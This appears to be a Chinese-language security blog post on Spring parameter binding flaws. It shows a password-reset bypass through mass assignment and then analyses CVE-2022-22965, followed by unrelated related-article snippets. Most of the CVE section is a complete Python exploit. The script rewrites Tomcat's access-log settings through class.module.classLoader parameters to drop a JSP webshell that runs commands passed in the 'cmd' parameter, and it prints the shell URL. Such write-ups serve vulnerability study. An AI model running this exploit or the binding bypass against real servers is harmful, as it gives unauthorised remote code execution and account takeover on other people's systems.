JAVA安全之Spring参数绑定漏洞CVE-2022-22965
前言
在介绍这个漏洞前,介绍下在spring下的参数绑定
在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定:
示例1:
@Controller
@RequestMapping("/user")
public class UserController {@GetMapping("/{id}")public String getUserById(@PathVariable("id") int userId, Model model) {// 根据userId查询用户信息并返回User user = userService.getUserById(userId);model.addAttribute("user", user);return "user";}@PostMapping("/add")public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {// 创建新用户并保存到数据库User newUser = new User(name, age);userService.addUser(newUser);model.addAttribute("user", newUser);return "user";}
}
上述示例中,我们使用了@PathVariable和@RequestParam注解来进行参数绑定:
-
@PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中,我们将URL中的"id"作为参数绑定到userId上。 -
@RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中,我们将请求参数"name"和"age"分别绑定到name和age上。
通过这种方式,Spring框架能够自动将请求参数的值绑定到Controller方法的参数上,简化了参数处理的过程。
示例2:
在Spring框架中,除了绑定基本类型的参数外,我们也经常需要绑定对象作为方法的参数。下面是一个示例,展示了如何在Spring中进行对象的参数绑定:
假设有一个名为User的JavaBean类:
javaCopy Codepublic class User {private String name;private int age;// 省略构造函数、getter和setter
}
然后在Controller中,我们可以将User对象作为方法的参数进行绑定
javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {@PostMapping("/add")public String addUser(@ModelAttribute User user, Model model) {// 通过@ModelAttribute注解将HTTP请求参数绑定到User对象userService.addUser(user);model.addAttribute("user", user);return "user";}
}
我们使用了@ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配,并进行对象的参数绑定。
当客户端发送一个包含name和age参数的POST请求时,Spring框架将自动创建一个User对象,并将请求参数的值绑定到User对象的对应属性上。
这种方式能够方便地处理复杂的对象绑定工作,使得我们在Controller中可以直接操作领域对象,而无需手动解析和绑定参数。
参数绑定漏洞
参数绑定这个机制,使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理,那么就非常可能导致某种逻辑漏洞,绕过漏洞。
看如下的代码
@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);@Autowiredprivate UserService userService;public ResetPasswordController() {}@RequestMapping(value = {"/reset"},method = {RequestMethod.GET})public String resetViewHandler() {logger.info("Welcome reset ! ");return "reset";}@RequestMapping(value = {"/reset"},method = {RequestMethod.POST})public String resetHandler(@RequestParam String username, Model model) {logger.info("Checking username " + username);User user = this.userService.findByName(username);if (user == null) {logger.info("there is no user with name " + username);model.addAttribute("error", "Username is not found");return "reset";} else {model.addAttribute("user", user);return "redirect:resetQuestion";}}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.GET})public String resetViewQuestionHandler(@ModelAttribute User user) {logger.info("Welcome resetQuestion ! " + user);return "resetQuestion";}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.POST})public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info("Checking resetQuestion ! " + answerReset + " for " + user);if (!user.getAnswer().equals(answerReset)) {logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);model.addAttribute("error", "Incorrect answer");return "resetQuestion";} else {status.setComplete();String newPassword = GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute("message", "Your new password is " + newPassword);return "success";}}}
由于有了参数绑定这个机制,user对象是我们用户可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证,那么我们可以尝试利用参数绑定的机制,参数设为?answer=hello&answerReset=hello,使得equals成功,从而绕过验证。
参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客
war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016
CVE-2022-22965
受影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关
注:jdk版本的不同,可能导致漏洞利用成功与否
思考:参数绑定可以给对应对象的属性赋值,有没有一种可能可以给其他的对象赋值?
为了实现这种可能,先了解下参数绑定的底层机制!
由于java语言复杂的对象继承关系,参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu,
其内部的调用链也应是
Contry.getProvince()
Province.getCity()
City.getDistrict()
District.setDistrictName()
Spring自带: BeanWrapperlmpl------Spring容器中管理的对象,自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装
我们都知道在Java中,所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类,它定义了一些通用的方法,因此这些方法可以在任何对象上调用。
-
getClass(): 返回对象所属的类。
是否可以通过class对象跳转到其他对象上。
在spring是世界中一切都是javabean,就连输出的log日志也是一个javabean,如果我们能够修改这个javabean,就意味着输出的log后缀名可控,其内容也可控。那好我们直接改成jsp马的形式
漏洞搭建复现
我们使用maven工具加入spring boot,模拟一个参数绑定的Controller,生成war包放入tomcat中
参考文章Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)
附上poc
import requests
import argparse
from urllib.parse import urlparse
import time# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()post_headers = {"Content-Type": "application/x-www-form-urlencoded"
}get_headers = {"prefix": "<%","suffix": "%>//",# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern"c": "Runtime",
}def run_exploit(url, directory, filename):log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Change the tomcat log location variablesprint("[*] Modifying Log Configurations")ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret = requests.get(url, headers=get_headers, verify=False)print("[*] Response Code: %d" % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)print("[*] Response code: %d" % ret.status_code)def main():parser = argparse.ArgumentParser(description='Spring Core RCE')parser.add_argument('--url', help='target url', required=True)parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',required=False, default="webapps/ROOT")file_arg = parser.parse_args().filedir_arg = parser.parse_args().dirurl_arg = parser.parse_args().urlfilename = file_arg.replace(".jsp", "")if url_arg is None:print("Must pass an option for --url")returntry:run_exploit(url_arg, dir_arg, filename)print("[+] Exploit completed")print("[+] Check your target for a shell")print("[+] File: " + filename + ".jsp")if dir_arg:location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"else:location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"print(f"[+] Shell should be at: {location}?cmd=whoami")except Exception as e:print(e)if __name__ == '__main__':main()
注意这个poc的逻辑 先向log文件中打入马的形式,其部分关键语段用占位符代替,这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上,这时一个jsp就此形成

访问马

漏洞调试分析
给参数绑定的入函数打上断点

瞅见了我们传入的参数了吧
第一次循环这一次this还在User中(包装对象)

第二次循环跳出user对象了

有兴趣的同学可调试进入分析一哈,具体的代码逻辑为什么跳到了class对象?以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底,所以这里也不在深究了.....
相关文章:
JAVA安全之Spring参数绑定漏洞CVE-2022-22965
前言 在介绍这个漏洞前,介绍下在spring下的参数绑定 在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定: 示例1&am…...
辨析旅行商问题(TSP)与车辆路径问题(VRP)
目录 前言旅行商问题 (TSP)问题介绍数学模型符号定义问题输入约束条件目标函数问题输出 解的空间解空间大小计算解释 车辆路径问题 (VRP)问题介绍TSP到VRP的过渡数学模型符号定义问题输入约束条件优化目标问题输出 解空间特殊情况一般情况 TSP 与 VRP 对比 前言 计划是通过本文…...
2024年JAVA招聘行情如何?
大家都在说Java求职不好找,是真的吗?我们来看看数据。 数据支持:根据TIOBE 5月份的编程语言排行榜,Java仍然是前三名之一。这意味着,Java在开发领域仍然占据重要地位。 而在中国的IT市场中,Java仍然是主要…...
【合集】SpringBoot——Spring,SpringBoot,SpringCloud相关的博客文章合集
前言 本篇博客是spring相关的博客文章合集,内容涵盖Spring,SpringBoot,SpringCloud相关的知识,包括了基础的内容,比如核心容器,springMVC,Data Access;也包括Spring进阶的相关知识&…...
yolov5 获取漏检图片脚本
yolov5 获取漏检图片脚本 获取样本分数在0.05到0.38直接的样本。 # YOLOv5 by Ultralytics, GPL-3.0 licenseimport argparse import json import os import sys import time from pathlib import Pathimport cv2 import numpy as np import torch import torch.backends.cud…...
Unity之OpenXR+XR Interaction Toolkit接入微软VR设备Windows Mixed Reality
前言 Windows Mixed Reality 是 Microsoft 用于增强和虚拟现实体验的VR设备,如下图所示: 在国内,它的使用率很低,一把都是国外使用,所以适配起来是相当费劲。 这台VR设备只能用于串流Windows,启动后,会自动连接Window的Mixed Reality程序,然后打开微软的增强现实门户…...
【小聆送书第二期】人工智能时代AIGC重塑教育
🌈个人主页:聆风吟 🔥系列专栏:网络奇遇记、数据结构 🔖少年有梦不应止于心动,更要付诸行动。 文章目录 📋正文📝活动参与规则 参与活动方式文末详见。 📋正文 AI正迅猛地…...
中国移动公网IP申请过程
一、动机 由于从事互联网行业10年,一直从事移动端(前端)开发工作,未曾深入了解过后端技术,以至于工作10年也不算进入互联网的门。 所以准备在自己家用设备上搭建各种场景的服务器(云服务对个人来说成本偏…...
动态获取绝对路径
在Python中,可以使用 os模块 来获取当前工作目录的路径,并使用 os.path.join()函数 将相对路径与当前工作目录结合起来,形成一个动态获取的绝对路径 以下是一个简单的例子: import os# 获取当前工作目录的路径 current_director…...
pytorch中的归一化:BatchNorm、LayerNorm 和 GroupNorm
1 归一化概述 训练深度神经网络是一项具有挑战性的任务。 多年来,研究人员提出了不同的方法来加速和稳定学习过程。 归一化是一种被证明在这方面非常有效的技术。 1.1 为什么要归一化 数据的归一化操作是数据处理的一项基础性工作,在一些实际问题中&am…...
RocketMq源码分析(九)--顺序消息
文章目录 一、顺序消息二、顺序消息消费过程1、消息队列负载2、消息拉取3、消息消费4、消息进度存储 三、总结 一、顺序消息 RocketMq在同一个队列中可以保证消息被顺序消费,所以如果要做到消息顺序消费,可以将消费主题(topic)设置…...
Windows下nginx的启动,重启,关闭等功能bat脚本
echo off rem 提供Windows下nginx的启动,重启,关闭功能echo begincls ::ngxin 所在的盘符 set NGINX_PATHG:::nginx 所在目录 set NGINX_DIRG:\projects\nginx-1.24.0\ color 0a TITLE Nginx 管理程序增强版CLSecho. echo. ** Nginx 管理程序 *** echo.…...
Python 字典:dic = {} 和 dic = defaultdict(list)之间的区别
d defaultdict(list) 和 d {} 在Python中代表了两种不同类型的字典初始化方式,它们之间有几个关键的区别: 1、类型 d defaultdict(list):这里使用的是 collections 模块中的 defaultdict 类。它是一个字典的子类,提供了一个默…...
绘图 Seaborn 10个示例
绘图 Seaborn 是什么安装使用显示中文及负号散点图箱线图小提琴图堆叠柱状图分面绘图分类散点图热力图成对关系图线图直方图 是什么 Seaborn 是一个Python数据可视化库,它基于Matplotlib。Seaborn提供了高级的绘图接口,可以用来绘制各种统计图形…...
airserver mac 7.27官方破解版2024最新安装激活图文教程
airserver mac 7.27官方破解版是一款好用的airplay投屏工具,可以轻松将ios荧幕镜像(airplay)至mac上,在mac平台上实现视频、音频、幻灯片等文件资源的接收及投放演示操作,解决iphone或ipad的屏幕录像问题,满…...
文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《考虑移动式储能调度的配电网灾后多源协同孤岛运行策略》
这篇文章的标题表明研究的主题是在配电网发生灾害后,采用一种策略来实现多源协同孤岛运行,并在这个过程中特别考虑了移动式储能的调度。 让我们逐步解读标题的关键词: 考虑移动式储能调度: 文章关注的焦点之一是移动式储能系统的…...
Spring Boot 优雅地处理重复请求
前 言 对于一些用户请求,在某些情况下是可能重复发送的,如果是查询类操作并无大碍,但其中有些是涉及写入操作的,一旦重复了,可能会导致很严重的后果,例如交易的接口如果重复请求可能会重复下单。 重复的场…...
TailwindCSS 多主题色配置
TailwindCSS 多主题色配置 现在大多数网站都支持主题色变换,比如切换深色模式。那么我们该如何进行主题色配置呢? tailwind dark tailwind 包含一个 dark变体,当启用深色模式时,可以为网站设置不同样式 <div class"bg-whi…...
Vue3:表格单元格内容由:图标+具体内容 构成
一、背景 在Vue3项目中,想让单元格的内容是由 :图标具体内容组成的,类似以下效果: 二、图标 Element-Plus 可以在Element-Plus里面找是否有符合需求的图标iconfont 如果Element-Plus里面没有符合需求的,也可以在这…...
【项目日记(一)】高并发内存池项目介绍
💓博主CSDN主页:杭电码农-NEO💓 ⏩专栏分类:项目日记-高并发内存池⏪ 🚚代码仓库:NEO的学习日记🚚 🌹关注我🫵带你学习C 🔝🔝 项目日记 1. 前言2. 什么是高并发内存池…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...
Linux链表操作全解析
Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表?1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
【Go】3、Go语言进阶与依赖管理
前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课,做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程,它的核心机制是 Goroutine 协程、Channel 通道,并基于CSP(Communicating Sequential Processes࿰…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解
JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...
